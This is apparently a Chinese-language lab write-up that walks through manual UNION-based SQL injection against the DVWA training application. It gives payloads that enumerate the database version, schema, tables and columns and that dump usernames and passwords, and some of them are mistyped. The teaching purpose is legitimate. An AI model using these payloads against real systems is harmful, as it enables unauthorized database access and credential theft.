DVWA-----SQL注入

提示:以下是本篇文章正文内容,下面案例可供参考

一、实验目的

(1)理解SQL注入的原理;
(2)学习手工注入的过程;
(3)掌握SQL注入工具的使用;
(4)掌握SQL注入的防御技术。

二、实验要求

1、登陆DVWA平台,结合所学SQL注入漏洞的基本知识,爆出MYSQL版本号、安装路径等信息;最终
爆出当前使用的数据库名称、数据表名称、字段名称、以及关键的字段值(比如用户名、密码等)。
2、DVWA安全级别设置为“Low”或者“Medium”,均可。
判断是否存在SQL注入点
DVWA安全级别为’Low‘。

三、实验过程描述

判断是否存在sql注入点
输入id值等于1,发现回显正常输入1 and 1=1,回显正常


输入1 and 1=2,发现回显仍然是正常的。

说明不存在数字型漏洞
输入1’,发现回显错误信息,说明该处存在sql注入

观察url处
这里为什么没有显示单引号?因为被url编码了
一般的url编码其实就是那个字符的ASCII值得十六进制,在再前面加个%
一般sql注入中常见的url编码:
空格是%20
单引号是%27
井号是%23
双引号是%22
看到报错我们能看到,这里是由两个单引号括起来的参数。

我们来输入1’#,把单引号后面的注释掉,发现没有回显错误


查看源代码

query="SELECTfirstname,lastnameFROMusersWHEREuserid=′query = "SELECT first_name, last_name FROM users WHERE user_id = 'query="SELECTfirstn​ame,lastn​ameFROMusersWHEREuseri​d=′id’;"
$id = $_REQUEST[ ‘id’ ];

在上述代码中,我们可以看到参数没有进行任何的过滤,我们尝试来闭合单引号
比如我们输入:1’ or ‘1’ =’1
语句就变成了:
$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ or ‘1’ =‘1’;”

下面来利用漏洞获取数据库信息
大概步骤是:
1、猜解所查询的字段数目
2、获取字段显示位
3、通过显示位获取数据库信息
4、获取数据库中的表名
5、获取表中的列名(字段)
6、导出数据库中的数据
7、验证导出数据的有效性

猜解所查询的字段数:
方式1:order by num
如果num数值超过了字段数,则查询会报错,从而判断出来select语句所查询字段的数目:
1’ order by 2 #


1‘ order by 3 #


说明该数据表只有两个字段

方式二:
union select 1,2,3…n
如果union select 后的数字位(不一定是1,2,3,只要有数字占位就可以),与实际查询的字段位不完全对应时,查询就会报错,直至调整不报错时的占位个数,从而判断实际查询的字段数
输入:select 1,2#


在输入:select 1,2,3 #

证明该数据库的字段只有两个

获取字段的回显位
1’ union select 1,2#

通过显示位获取数据库信息
获取当前连接的数据库的版本和名称
1’ union select version(),database() #

获取当前连接数据库的用户:
1‘ union select 1,user() #

获取服务器的操作系统和存储目录:
1’ union select @@version_compile_os,@@datadir #

获取数据库中所有的数据库名
在后边 必备知识点中我已解释,这里不在过多阐释。
mysql的数据库information_schema,它是系统数据库,安装完就是有的,它记录当前数据库的数据库,表,列,用户权限等相关信息。
information_schema. schema:记录所有库名信息的表

information_schema.tables:记录所有表名信息的表

information_schema.columns: 记录所有列名信息的表

1’ union select1,schema_name from information_schema.schemata #
在这里权限不够,所以没查出来

去数据库中进行查询


这个数据库dvwa正是我们需要的,因此通过此数据库去爆数据表
where后面是限制条件,只查数据库dvwa中的表。
1’ union select 1,table_name from information_schema.tables where table_schema=“dvwa” #

获取表中的列名(字段)
1’ union select 1, column_name from infomation_schema.columns where table_name=“users” #


这样看着很乱,这时候就要用group_concat()将这些字段名简单的输出:
1‘ union select 1, group_concat(column_name) from infomation_schema.columns where table_name=“users” #


关于group_concat(),还有concat()可以自行百度学习
知道了数据库的表名和字段名,就可以爆表了
1’ union select 1,concat(user,’----’,password), from usrs #

也可以使用另一种方法:
1‘ union select user,password from users #

总结

给大家留一个小问题:
什么是联合查询?在SQL注入时,如何有效地使用联合查询?

为方便实验,在这里写出知识点:
必要知识点:

在mysql5.0以上版本中,mysql存在一个自带的数据库名为information_schema

,它是一个存储记录所有数据库名,表名,列名的数据库,也相当于可以通过它获取指定数据库下面的表名或列名信息。

数据库中符号:.代表下一级,如xiaodi.user表示xiaodi数据库下的user表名

information_schema. schema:记录所有库名信息的表

information_schema.tables:记录所有表名信息的表

information_schema.columns: 记录所有列名信息的表

table_schema:数据库名

table_name:表名

columns_name:列名

信息收集 :

数据库版本:version()

数据库名字:database()

数据库用户:user()

操作系统:@@version_compile_os

数据库的存储目录:@@datadir

DVWA-------简单的SQL注入相关推荐

  1. KALI LINUX2021环境下使用sqlmap进行DVWA中的sql注入(安全等级LOW)

    KALI LINUX2021环境下使用sqlmap进行DVWA中的sql注入(安全等级LOW) 渗透环境 第一步:将DVWA中安全等级调整为LOW (使用谷歌Chrome浏览器) 第二步:利用网页对s ...

  2. 关于DVWA的学习-SQL注入

    关于DVWA的学习-SQL注入 low Background 一般的查询语句的结构如下: SELECT column_name FROM table_name WHERE ID=$id 我们输入的内容 ...

  3. 简单的SQL注入原理

    小白学了一点简单的SQL注入,做了点笔记,感觉挺详细,希望能帮助到学习的伙伴.大佬勿喷,有不足多多的指教. 实验原理 SQL注入攻击是通过将恶意的SQL查询或添加语句插入到应用的输入参数中,再在后台S ...

  4. 【实验吧】CTF_Web_简单的SQL注入之1

    题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...

  5. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

  6. 一个简单的SQL注入攻击

    在上一篇博客中:http://blog.csdn.net/suwei19870312/article/details/7579667.讲了Client 端代码和Server端代码的交互. Client ...

  7. ctf.show web2 最简单的SQL注入

    ctf.show web2 最简单的SQL注入 1.一开始的页面 随便输入用户名和密码看它怎么反应 没报错,只是清空了用户名和密码 题目提示是sql注入,那就用burpsuit抓个包,发送到repea ...

  8. 一次简单的SQL注入靶场练习

    一次简单的SQL注入靶场练习 文章目录 一次简单的SQL注入靶场练习 前言 一.靶机下载 二.靶场渗透 1.端口扫描 总结 前言 为了巩固SQL注入以及实战演练的需要,我们来做一次简单的关于SQL注入 ...

  9. 超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门

    超详细,手把手教你一次简单的SQL注入,不用任何工具,带你走进web安全的大门 靶场网站,网站所有权在二向箔安全学院 知识盒子 简单的SQL注入题目,可以用来入门练习,体验一下实训 老套的题目:提取网 ...

  10. 第一次CTF【后台登录、简单的sql注入之、简单的sql注入之2、猫抓老鼠、i春秋 文件上传】

    后台登录 http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 根据md5($password,true)最后要得到原始二进制字符串,要含有or ,在or ...

最新文章

  1. 如何理解python的类与对象
  2. Malformed server response 解决方案
  3. Winform开发框架重构总结
  4. Linux从入门到精通系列之SHELL编程循环语句语法及实例详解(forwhileuntil)
  5. hadoop—集群配置历史服务器及访问历史服务器日志
  6. 河南农大姚文与中科院北京基因组所章张课题组合作发布真核生物长链反向重复序列数据库...
  7. NFT平台 NFTb将推出新版本,支持社会公益事业
  8. 细品慢酌QuickTest关键视图(1)
  9. 开源项目使用问题集锦
  10. python传大文件如何检查遗漏,如何使用Python获取大文件的实时复制进度?
  11. Mac OS 开启三指拖移,三指缩放,拖拽窗口,切换全面页面变成四指
  12. android端使用mockServer
  13. mac打开软件显示没有权限不能打开
  14. android指纹识别开发
  15. BUU MISC(5_10-5_14)
  16. 成都中医药大学计算机基础试题,成都中医药大学2016年春季学期期末考试.计算机基础试卷-成教(答案~)分析总结.doc...
  17. RNC/SGSN/PDP/IUPS概念
  18. 2022国自然中标至少1篇1区代表作?没中接下来怎么办?
  19. 羊毛党千亿产业链,信息安全何去何从?
  20. M1芯片MacBook通过Docker安装Kali

热门文章

  1. 想拿到10k-40k的offer,这些技能必不可少!作为程序员的你了解吗
  2. 受疫情影响,企业异地办公,如何实现团队协同?
  3. python 使用图云绘制文字画的效果 200309
  4. android 全局注入,一种简单的Android全局注入方案
  5. 删除PG数据库时报错database xxx is being accessed by other users
  6. 【191211产品工作】政务外网、专网、内网、互联网的区别
  7. Office 2013 VOL 专业正式版
  8. chmod,rwx Linux文件属性笔记221107
  9. 春节前感冒了,体会到了健康的重要性
  10. php换行替换,php如何替换换行符